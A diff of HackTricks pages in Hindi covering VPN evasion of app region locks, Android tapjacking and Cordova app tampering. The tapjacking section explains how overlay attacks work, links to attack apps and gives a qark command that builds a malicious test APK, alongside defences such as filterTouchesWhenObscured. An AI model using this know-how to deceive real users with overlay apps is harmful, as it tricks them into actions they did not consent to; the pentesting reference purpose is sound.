* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,44 +1,28 @@
|
||||||
<details>
|
In situations where an application is restricted to certain countries, and you're unable to install it on your Android device due to regional limitations, spoofing your location to a country where the app is available can grant you access. The steps below detail how to do this:
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
1. **हॉटस्पॉट शील्ड फ्री वीपीएन प्रॉक्सी इंस्टॉल करें:**
|
||||||
|
- Google Play Store से हॉटस्पॉट शील्ड फ्री वीपीएन प्रॉक्सी डाउनलोड और इंस्टॉल करें।
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
2. **वीपीएन सर्वर से कनेक्ट करें:**
|
||||||
|
- हॉटस्पॉट शील्ड एप्लिकेशन खोलें।
|
||||||
|
- उस देश का चयन करके वीपीएन सर्वर से कनेक्ट करें जहां आप जिस एप्लिकेशन को एक्सेस करना चाहते हैं वह उपलब्ध है।
|
||||||
|
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
3. **गूगल प्ले स्टोर डेटा साफ करें:**
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
- अपने डिवाइस की **सेटिंग्स** पर जाएं।
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
- **ऐप्स** या **एप्लिकेशन मैनेजर** पर जाएं (यह आपके डिवाइस के अनुसार भिन्न हो सकता है)।
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
- ऐप्स की सूची में से **गूगल प्ले स्टोर** को खोजें और चुनें।
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
- ऐप के चल रहे प्रोसेस को समाप्त करने के लिए **फोर्स स्टॉप** पर टैप करें।
|
||||||
|
- फिर **क्लियर डेटा** या **क्लियर स्टोरेज** (सटीक शब्द भिन्न हो सकते हैं) पर टैप करें ताकि गूगल प्ले स्टोर ऐप को उसके डिफ़ॉल्ट स्थिति में रीसेट किया जा सके।
|
||||||
|
|
||||||
</details>
|
4. **प्रतिबंधित एप्लिकेशन तक पहुंचें:**
|
||||||
|
- **गूगल प्ले स्टोर** खोलें।
|
||||||
|
- स्टोर को अब उस देश की सामग्री को दर्शाना चाहिए जिससे आप वीपीएन के माध्यम से जुड़े हैं।
|
||||||
|
- आप उस एप्लिकेशन को खोजने और इंस्टॉल करने में सक्षम होना चाहिए जो पहले आपके वास्तविक स्थान पर उपलब्ध नहीं था।
|
||||||
|
|
||||||
किसी स्थिति में जब कोई एप्लिकेशन कुछ विशेष देशों के लिए सीमित होती है, और आप अपने एंड्रॉइड डिवाइस पर उसे स्थानिक सीमाओं के कारण स्थापित नहीं कर सकते हैं, तो उस देश के लिए अपने स्थान को झूठलाना आपको पहुंच प्रदान कर सकता है जहां ऐप उपलब्ध है। नीचे दिए गए कदम विस्तार से बताते हैं कि इसे कैसे किया जाए:
|
### महत्वपूर्ण नोट्स:
|
||||||
|
- इस विधि की प्रभावशीलता कई कारकों पर निर्भर कर सकती है, जिसमें वीपीएन सेवा की विश्वसनीयता और ऐप द्वारा लगाए गए विशिष्ट क्षेत्रीय प्रतिबंध शामिल हैं।
|
||||||
1. **Hotspot Shield Free VPN Proxy इंस्टॉल करें:**
|
- नियमित रूप से वीपीएन का उपयोग कुछ ऐप्स और सेवाओं के प्रदर्शन को प्रभावित कर सकता है।
|
||||||
- Google Play Store से Hotspot Shield Free VPN Proxy डाउनलोड और इंस्टॉल करने से शुरू करें।
|
- किसी भी ऐप या सेवा के लिए सेवा की शर्तों के प्रति जागरूक रहें, क्योंकि क्षेत्रीय प्रतिबंधों को बायपास करने के लिए वीपीएन का उपयोग उन शर्तों का उल्लंघन कर सकता है।
|
||||||
|
|
||||||
2. **VPN सर्वर से कनेक्ट करें:**
|
|
||||||
- Hotspot Shield एप्लिकेशन खोलें।
|
|
||||||
- एक VPN सर्वर से कनेक्ट होकर उस देश को चुनें जहां आपको पहुंचना चाहते हैं।
|
|
||||||
|
|
||||||
3. **Google Play Store डेटा साफ करें:**
|
|
||||||
- अपने डिवाइस की **सेटिंग्स** में जाएं।
|
|
||||||
- **Apps** या **Application Manager** पर जाएं (यह आपके डिवाइस पर निर्भर कर सकता है)।
|
|
||||||
- एप्लिकेशनों की सूची से **Google Play Store** ढूंढें और चुनें।
|
|
||||||
- किसी भी चल रहे प्रक्रियाओं को समाप्त करने के लिए **Force Stop** पर टैप करें।
|
|
||||||
- फिर **Clear Data** या **Clear Storage** पर टैप करें (शब्दों का सटीक रूप भिन्न हो सकता है) ताकि Google Play Store एप्लिकेशन को डिफ़ॉल्ट स्थिति में रीसेट किया जा सके।
|
|
||||||
|
|
||||||
4. **सीमित एप्लिकेशन तक पहुंचें:**
|
|
||||||
- **Google Play Store** खोलें।
|
|
||||||
- स्टोर अब VPN के माध्यम से जुड़े देश की सामग्री को प्रतिबिंबित करना चाहिए।
|
|
||||||
- आपको अब उस एप्लिकेशन को खोजने और इंस्टॉल करने की क्षमता होनी चाहिए जो आपके वास्तविक स्थान पर पहले अनुपलब्ध था।
|
|
||||||
|
|
||||||
### महत्वपूर्ण नोट:
|
|
||||||
- इस विधि की प्रभावकारिता कई कारकों पर निर्भर कर सकती है जैसे VPN सेवा की विश्वसनीयता और ऐप द्वारा लगाए गए विशेष क्षेत्रीय प्रतिबंध।
|
|
||||||
- नियमित रूप से VPN का उपयोग कुछ ऐप्स और सेवाओं के प्रदर्शन पर प्रभाव डाल सकता है।
|
|
||||||
- उस ऐप या सेवा की सेवा की शर्तों को ध्यान से पढ़ें, क्योंकि किसी ऐप या सेवा का उपयोग करते समय विशेष क्षेत्रीय प्रतिबंधों को उल्लंघन करना उन शर्तों का उल्लंघन कर सकता है।
|
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,46 +1,48 @@
|
||||||
# टैपजैकिंग
|
# Tapjacking
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## **मूल जानकारी**
|
|
||||||
|
|
||||||
**टैपजैकिंग** एक हमला है जहां एक **दुरुपयोगी एप्लिकेशन** शुरू की जाती है और खुद को एक पीड़ित एप्लिकेशन के ऊपर स्थित करती है। एक बार जब यह पीड़ित ऐप को दिखाई देता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस प्रकार डिज़ाइन किया जाता है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा देने के लिए उकसाया जाता है, जबकि यह पीड़ित ऐप पर इंटरेक्शन को आगे बढ़ा रहा है।\
|
## **Basic Information**
|
||||||
असर में, यह उपयोगकर्ता को **अंधेरे में रख देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
|
|
||||||
|
|
||||||
### पता लगाना
|
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और यह **एक पीड़ित एप्लिकेशन के ऊपर खुद को स्थिति में रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ इंटरैक्ट करने के लिए धोखा दिया जा सके, जबकि यह इंटरैक्शन को पीड़ित ऐप के पास भेज रहा है।\
|
||||||
|
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
|
||||||
|
|
||||||
इस हमले के लिए विकल्पित ऐप्स को पता लगाने के लिए आपको एंड्रॉइड मैनिफ़ेस्ट में **निर्यात क्रियाएँ** की खोज करनी चाहिए (ध्यान दें कि एक इंटेंट-फ़िल्टर के साथ एक क्रिया स्वचालित रूप से निर्यात की जाती है)। एक बार जब आप निर्यात क्रियाएँ पाएं हैं, **देखें कि क्या उन्हें कोई अनुमति की आवश्यकता है**। यह इसलिए है क्योंकि **दुरुपयोगी एप्लिकेशन को भी उस अनुमति की आवश्यकता होगी**।
|
### Detection
|
||||||
|
|
||||||
### सुरक्षा
|
इस हमले के प्रति संवेदनशील ऐप्स का पता लगाने के लिए, आपको एंड्रॉइड मैनिफेस्ट में **निर्यातित गतिविधियों** की खोज करनी चाहिए (ध्यान दें कि एक इरादा-फिल्टर के साथ गतिविधि डिफ़ॉल्ट रूप से स्वचालित रूप से निर्यात की जाती है)। एक बार जब आप निर्यातित गतिविधियों को ढूंढ लेते हैं, तो **जांचें कि क्या उन्हें कोई अनुमति की आवश्यकता है**। इसका कारण यह है कि **दुष्ट एप्लिकेशन को भी उस अनुमति की आवश्यकता होगी**।
|
||||||
|
|
||||||
#### एंड्रॉइड 12 (API 31,32) और उच्चतर
|
### Protection
|
||||||
|
|
||||||
[**इस स्रोत के अनुसार**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** एंड्रॉइड 12 (API 31 और 30) और उच्चतर से एंड्रॉइड द्वारा टैपजैकिंग हमलों को स्वचालित रूप से रोका जाता है। इसलिए, यदि एप्लिकेशन वंशावली है तो आप **इसका शोषण नहीं कर पाएंगे**।
|
#### Android 12 (API 31,32) और उच्चतर
|
||||||
|
|
||||||
|
[**इस स्रोत के अनुसार**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** एंड्रॉइड 12 (API 31 & 30) और उच्चतर से एंड्रॉइड द्वारा स्वचालित रूप से टेपजैकिंग हमलों को रोका जाता है। इसलिए, भले ही एप्लिकेशन संवेदनशील हो, आप **इसे शोषण नहीं कर पाएंगे**।
|
||||||
|
|
||||||
#### `filterTouchesWhenObscured`
|
#### `filterTouchesWhenObscured`
|
||||||
|
|
||||||
यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` जब भी एक और दृश्यमान विंडो द्वारा अंधेरे किया जाता है, तो स्पर्श प्राप्त नहीं करेगा।
|
यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` को तब भी स्पर्श नहीं मिलेगा जब दृश्य की विंडो किसी अन्य दृश्यमान विंडो द्वारा अस्पष्ट हो।
|
||||||
|
|
||||||
#### **`setFilterTouchesWhenObscured`**
|
#### **`setFilterTouchesWhenObscured`**
|
||||||
|
|
||||||
यदि एंड्रॉइड संस्करण कम है तो यह विकल्प **`setFilterTouchesWhenObscured`** किसी भी वंशावली का शोषण रोक सकता है।\
|
गुण **`setFilterTouchesWhenObscured`** को सत्य पर सेट करने से इस संवेदनशीलता के शोषण को भी रोका जा सकता है यदि एंड्रॉइड संस्करण कम है।\
|
||||||
यदि **`true`** पर सेट किया गया है, तो उदाहरण के लिए, एक बटन स्वचालित रूप से **अक्षम हो सकता है अगर यह अंधेरे में है**:
|
यदि इसे **`true`** पर सेट किया गया है, तो उदाहरण के लिए, एक बटन को स्वचालित रूप से **अक्षम किया जा सकता है यदि यह अस्पष्ट है**:
|
||||||
```xml
|
```xml
|
||||||
<Button android:text="Button"
|
<Button android:text="Button"
|
||||||
android:id="@+id/button1"
|
android:id="@+id/button1"
|
||||||
|
@ -51,44 +53,45 @@ android:filterTouchesWhenObscured="true">
|
||||||
```
|
```
|
||||||
## शोषण
|
## शोषण
|
||||||
|
|
||||||
### टैपजैकिंग-निर्यातितगतिविधि
|
### Tapjacking-ExportedActivity
|
||||||
|
|
||||||
सबसे **हाल का Android एप्लिकेशन** जो टैपजैकिंग हमला कर रहा है (+ आक्रमित एप्लिकेशन की निर्यातित गतिविधि को पहले आमंत्रित करना), इसमें पाया जा सकता है: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)।
|
सबसे **हाल का Android एप्लिकेशन** जो Tapjacking हमला करता है (+ हमले के एप्लिकेशन की निर्यातित गतिविधि से पहले सक्रिय करना) यहाँ पाया जा सकता है: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||||
|
|
||||||
**उसका उपयोग करने के लिए README निर्देशों का पालन करें**।
|
इसे उपयोग करने के लिए **README निर्देशों का पालन करें**.
|
||||||
|
|
||||||
### FloatingWindowApp
|
### FloatingWindowApp
|
||||||
|
|
||||||
एक उदाहरण परियोजना जो **FloatingWindowApp** को लागू करने के लिए उपयोग किया जा सकता है, जिसे अन्य गतिविधियों के ऊपर रखने के लिए उपयोग किया जा सकता है, [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) में मिल सकती है (थोड़ी पुरानी है, apk बनाने में शुभकामनाएं)।
|
एक उदाहरण प्रोजेक्ट जो **FloatingWindowApp** को लागू करता है, जिसे अन्य गतिविधियों के ऊपर क्लिकजैकिंग हमले को करने के लिए रखा जा सकता है, यहाँ पाया जा सकता है [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (थोड़ा पुराना, apk बनाने में शुभकामनाएँ).
|
||||||
|
|
||||||
### Qark
|
### Qark
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
ऐसा लगता है कि यह परियोजना अब अनुरक्षित है और यह कार्यक्षमता अब सही ढंग से काम नहीं कर रही है
|
ऐसा लगता है कि यह प्रोजेक्ट अब बनाए नहीं रखा गया है और यह कार्यक्षमता अब ठीक से काम नहीं कर रही है
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
आप [**qark**](https://github.com/linkedin/qark) का उपयोग कर सकते हैं `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` पैरामीटर के साथ एक दुरुपयोगी एप्लिकेशन बनाने के लिए जांच करने के लिए संभावित **टैपजैकिंग** जोखिमों के लिए।
|
आप [**qark**](https://github.com/linkedin/qark) का उपयोग `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` पैरामीटर के साथ एक दुर्भावनापूर्ण एप्लिकेशन बनाने के लिए कर सकते हैं ताकि संभावित **Tapjacking** कमजोरियों का परीक्षण किया जा सके।\
|
||||||
|
|
||||||
सुरक्षा उपाय अपेक्षाकृत सरल है क्योंकि डेवलपर यह चुन सकता है कि जब एक दूसरे द्वारा एक दृश्य ढका जाता है, तो एक दृश्य को छूने की घटनाएँ प्राप्त न करें। [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security) का उपयोग करना:
|
निवारण अपेक्षाकृत सरल है क्योंकि डेवलपर यह चुन सकता है कि जब एक दृश्य दूसरे द्वारा ढका होता है तो स्पर्श घटनाएँ प्राप्त न करें। [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security) का उपयोग करते हुए:
|
||||||
|
|
||||||
> कभी-कभी एक ऐप्लिकेशन को यह सत्यापित करने की आवश्यकता होती है कि किसी कार्रवाई को पूर्ण जानकारी और सहमति के साथ उपयोगकर्ता द्वारा किया जा रहा है, जैसे कि अनुमति अनुरोध, खरीदारी करना या विज्ञापन पर क्लिक करना। दुर्भाग्य से, एक दुरुपयोगी ऐप्लिकेशन उपयोक्ता को इन कार्रवाइयों को करने के लिए धोखा देने की कोशिश कर सकता है, जिसे वह अनजान होकर कर रहा हो, दृश्य की इच्छित उद्देश्य को छुपाकर। इसके उपचार के रूप में, फ्रेमवर्क एक स्पर्श फ़िल्टरिंग तंत्र प्रदान करता है जिसका उपयोग किया जा सकता है जो सुरक्षित फ़ंक्शनलिटी तक पहुंच प्रदान करने वाले दृश्यों की सुरक्षा को सुधारने के लिए।
|
> कभी-कभी यह आवश्यक होता है कि एक एप्लिकेशन यह सत्यापित कर सके कि कोई क्रिया उपयोगकर्ता की पूरी जानकारी और सहमति के साथ की जा रही है, जैसे कि अनुमति अनुरोध को स्वीकार करना, खरीदारी करना या विज्ञापन पर क्लिक करना। दुर्भाग्यवश, एक दुर्भावनापूर्ण एप्लिकेशन उपयोगकर्ता को इन क्रियाओं को करने के लिए धोखा देने की कोशिश कर सकता है, बिना यह जाने कि दृश्य का उद्देश्य क्या है। एक उपाय के रूप में, ढांचा एक स्पर्श फ़िल्टरिंग तंत्र प्रदान करता है जिसका उपयोग संवेदनशील कार्यक्षमता तक पहुँच प्रदान करने वाले दृश्यों की सुरक्षा में सुधार के लिए किया जा सकता है।
|
||||||
>
|
>
|
||||||
> स्पर्श फ़िल्टरिंग को सक्षम करने के लिए, [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) को कॉल करें या android:filterTouchesWhenObscured लेआउट विशेषता को सत्य में सेट करें। जब सक्षम किया जाता है, तो फ्रेमवर्क उन स्पर्शों को छोड़ देगा जो प्राप्त होते हैं जब दृश्य का विंडो किसी अन्य दृश्य द्वारा ढका जाता है। इस परिणामस्वरूप, दृश्य को स्पर्श प्राप्त नहीं होगा जब एक टोस्ट, डायलॉग या अन्य विंडो दृश्य के विंडो के ऊपर प्रकट होती है।
|
> स्पर्श फ़िल्टरिंग सक्षम करने के लिए, [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) को कॉल करें या android:filterTouchesWhenObscured लेआउट विशेषता को true पर सेट करें। जब सक्षम किया जाता है, तो ढांचा उन स्पर्शों को अस्वीकार कर देगा जो तब प्राप्त होते हैं जब दृश्य की विंडो किसी अन्य दृश्य विंडो द्वारा ढकी होती है। परिणामस्वरूप, दृश्य तब स्पर्श प्राप्त नहीं करेगा जब भी एक टोस्ट, संवाद या अन्य विंडो दृश्य की विंडो के ऊपर प्रकट होती है।
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं HackTricks में या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,42 +1,43 @@
|
||||||
# Cordova Apps
|
# Cordova Apps
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**अधिक विवरण के लिए [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)** देखें। यह एक सारांश है:
|
**अधिक जानकारी के लिए देखें [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**। यह एक संक्षेप है:
|
||||||
|
|
||||||
Apache Cordova को **हाइब्रिड एप्लिकेशन** के विकास को संभावित कराने के लिए मान्यता प्राप्त है, जिसमें **JavaScript, HTML, और CSS** का उपयोग होता है। यह Android और iOS एप्लिकेशनों का निर्माण संभव बनाता है; हालांकि, यह एप्लिकेशन के स्रोत को सुरक्षित रखने के लिए एक डिफ़ॉल्ट तंत्र की कमी है। React Native के विपरीत, Cordova डिफ़ॉल्ट रूप से स्रोत को कंपाइल नहीं करता है, जिससे कोड टैम्परिंग संवर्धन संभावनाएँ हो सकती हैं। Cordova WebView का उपयोग एप्लिकेशन को रेंडर करने के लिए करता है, APK या IPA फ़ाइल में कंपाइल होने के बाद भी HTML और JavaScript कोड को उजागर करता है। उल्टे, React Native एक JavaScript VM का उपयोग करता है जिससे JavaScript कोड को निष्क्रिय करने के लिए बेहतर स्रोत कोड सुरक्षा प्रदान करता है।
|
